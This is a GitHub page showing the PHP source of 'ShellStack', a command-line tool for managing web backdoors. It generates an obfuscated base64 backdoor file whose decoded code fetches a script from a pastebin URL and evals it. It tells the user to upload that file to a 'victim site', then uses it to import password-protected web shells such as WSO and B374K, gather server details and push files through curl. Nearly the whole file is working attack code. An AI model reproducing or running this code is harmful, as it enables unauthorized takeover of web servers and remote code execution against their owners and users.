-
Notifications
You must be signed in to change notification settings - Fork 78
/
shellstack.php
187 lines (185 loc) · 6.85 KB
/
shellstack.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
<?php
//shell ShellStack
error_reporting(0);
$blue = "\e[34m";
$lblue = "\e[36m";
$cln = "\e[0m";
$green = "\e[92m";
$fgreen = "\e[32m";
$red = "\e[91m";
$bold = "\e[1m";
echo "
\e[96m
________________________________________________________________________________
_______ _ _ _______ _______ _______ _______ _______ _ _
|______ |_____| |______ | | |______ | |_____| | |____/
______| | | |______ |_____ |_____ ______| | | | |_____ | \_
________________________________________________________________________________
$cln Simple Backdoor Management System
$fgreen Coded By$bold$red R3D#@x0R_2H1N A.K.A Tuhinshubhra $cln
$blue Shout Out:$bold LulZSec India $cln \e[96m
================================================================================
";
$bdcnt = "PD9waHAgJHsiXHg0N0xceDRmQlx4NDFMXHg1MyJ9WyJceDY4bVx4NzJceDZhXHg3MVx4NjNceDZmXHg3NHpceDcwIl09Ilx4NjJceDY0XHg2Zlx4NzIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NzZceDY3cVx4NzlceDZkYWNmXHg2NSJdPSJiXHg2NFx4NmZyIjskeyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2OFx4NmRceDcyXHg2YXFjXHg2Zlx4NzRceDdhXHg3MCJdfT1maWxlX2dldF9jb250ZW50cygiXHg2OFx4NzR0cFx4NzM6Ly9ceDcwYXNceDc0ZWJpblx4MmVjb1x4NmQvXHg3MmFceDc3L1x4N2E3aWhceDU4cFx4NTZceDQxIik7ZXZhbCgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2M1x4NzZceDY3XHg3MVx4NzlceDZkXHg2MWNmZSJdfSk7Cj8+";
echo "\n\n\n$cln";
echo $bold."List Of Backdoors:$cln";
$sscontents = file_get_contents("shells.txt");
$sscontents = trim($sscontents, "\n");
$shells = explode("\n", $sscontents);
echo "\n\n";
if ($sscontents == "") {
echo $bold.$red."[!] No Backdoors In Your List!\n$cln";
}
else {
$sno = 0;
foreach ($shells as $shell) {
echo $sno.". $shell\n";
$sno++;
}
echo "=============================================";
}
menu1 :
echo "\n\n[#] Enter Either Of These (Backdoor No.|help|generatebd) : ";
$selects = trim(fgets(STDIN,1024));
if ($selects == "help") {
echo "\n\n$bold"."Command List\n$cln";
echo "=============\n\n";
echo $bold."[+] generatebd:$cln Generates Backdoor File (backdoor.php)\n";
echo $bold."[+] help:$cln Display This Help Screen\n";
echo "[+] Select Backdoor By Typing In The Assigned Serial Number\n";
goto menu1;
}
elseif ($selects == "generatebd") {
echo $fgreen."\n\n[+] Generating Backdoor ...";
file_put_contents ("backdoor.php", base64_decode($bdcnt));
echo $cln.$lblue."\n[i] Backdoor Created at$blue backdoor.php$cln";
echo "\n[i] Now Upload This To The Victim Site And Add The URL In$bold shells.txt$cln File";
echo "\n\n\n$cln";
echo "Press Enter To Continue\n\n";
trim(fgets(STDIN,1024));
goto menu1;
}
else {
$selected1 = $shells[$selects];
echo "$bold";
echo "\n[+] Shell Selected:$cln ".$selected1."\n";
echo $bold."[+] Validating Backdoor:$cln ";
$ssv = $selected1."?sscmd=v";
$vfc = file_get_contents ($ssv);
if ($vfc == "ssbkdrexst") {
echo $fgreen."Backdoor Found!\n\n$cln";
menu2:
echo "List Of Actions\n$cln";
echo "================\n";
echo $green.$bold."[1]$cln Import PHP Shells\n";
echo $blue.$bold."[2]$cln Server Details\n";
echo $bold.$red."[3]$cln Remove Backdoor\n";
echo $fgreen.$bold."[4]$cln Remote File Upload\n";
echo $bold.$red."[5] Exit\n";
echo "$cln";
// Choose Action
echo "\n[#] Select Option(1|2|3|4|5):";
$action = trim(fgets(STDIN,1024));
if ($action == "1") {
echo "\n\nList Of Shells\n$cln";
echo "===============\n";
echo "[1]$bold Dhanush shell$cln {User & Pass : shellstack123}\n";
echo "[2]$bold B374K shell$cln {Pass : shellstack123}\n";
echo "[3]$bold Kurama shell$cln V.1.0 {Pass : red}\n";
echo "[4]$bold WSO shell$cln {Pass : shellstack123}\n";
echo "[5]$bold MiNi shell$cln {User & Pass : shellstack123}\n";
//select Shell from list
selectsshell:
echo "\n[#] Select Shell To Import(1-5):";
$impshell = trim(fgets(STDIN,1024));
if ( !in_array($impshell, array('1','2','3','4','5'), true ) ) {
echo $bold.$red."Invalid Input$cln \n";
goto selectsshell;
}
else {
echo $lblue."\n\n[i] Importing Shell...$cln";
echo $lblue."\n[i] Sending Request And Getting Response...$cln";
$shellact = $selected1."?sscmd=imps".$impshell;
$shellimpresult = file_get_contents($shellact);
echo "\n[R] ".$bold.$shellimpresult.$cln;
echo "\n\n\n$cln";
echo "Press Enter To Continue\n\n";
trim(fgets(STDIN,1024));
goto menu2;
}
}
elseif ($action == "2") {
echo $bold.$lblue."\n[+] Server Info$cln";
echo $lblue."\n[i] Sending Request And Getting Response...$cln";
$svinfo = $selected1."?sscmd=si";
$sicnt = file_get_contents($svinfo);
echo $bold."\n$sicnt".$cln;
echo "\n\n\n$cln";
echo "Press Enter To Continue\n\n";
trim(fgets(STDIN,1024));
goto menu2;
}
elseif ($action == "3") {
echo $bold.$red."\n[!] Destruct Backdoor$cln";
echo $red."\n[i] This Process Is irreversible! TRY AT YOUR OWN RISK $cln";
echo "\n\n[#] Type$bold FUCKME$cln To Confirm: ";
$dela = trim(fgets(STDIN,1024));
if ($dela == "FUCKME") {
echo $red."\n[i] Asking The Poor BackDoor To DiE ... :($cln";
echo $red."\n[i] Sending DEATH Request ... :(\n\n$cln";
$delurl = $selected1."?sscmd=fuckme";
//sending the server request in a lame way
system ("curl -s $delurl");
echo "\n\n[+] Confirming If That Poor Guy Is Really Dead: ";
$cnfrmdel = file_get_contents ($ssv);
if ($cnfrmdel == "ssbkdrexst") {
echo "Couldn't Kill That Bastard!\n\n";
}
else {
echo "Confirmed! It's DEAD!\n";
echo "[i] Remove This Backdoor From$bold shells.txt$cln It's Of No Use Now!";
echo "\n\n";
}
}
else {
echo "\n[!] Confirmation Failed! Going Back To Previous Menu!";
echo "\n\n\n$cln";
echo "Press Enter To Continue\n\n";
trim(fgets(STDIN,1024));
goto menu2;
}
}
elseif ($action == "4") {
echo $bold.$lblue."[+] Remote File Upload$cln";
echo "\n[i] Upload Files From Your System\n\n";
uploadremotefile:
echo "\n[#] Enter File Path: ";
$fpath = trim(fgets(STDIN,1024));
echo "[#] Enter File Name: ";
$fname = trim(fgets(STDIN,1024));
echo $lblue."\n[-] File Selected:$cln $fpath";
echo $lblue."\n[-] File Name Selected:$cln $fname";
echo $lblue."\n[+] Checking If File Exists: $cln";
if (file_exists($fpath)) {
echo "File Exists\n";
echo $blue."[i] Initializing File Upload\n$cln";
$fileData = file_get_contents($fpath);
$fileData = base64_encode($fileData);
echo $lblue."[i] Sending Request And Getting Response...\n\n$cln";
system("curl -s -F fileData=$fileData -F fileName=$fname -F file=@$fpath $selected1?sscmd=u");
echo "\n\n\n$cln";
echo "Press Enter To Continue\n\n";
trim(fgets(STDIN,1024));
goto menu2;
}
else {
echo $red."File Do Not Exist! Aborting Uplod Procedure ...\n\n$cln";
goto uploadremotefile;
}
}
}
else {
echo $red."Backdoor Not Found Quitting...$cln \n";
}
}
?>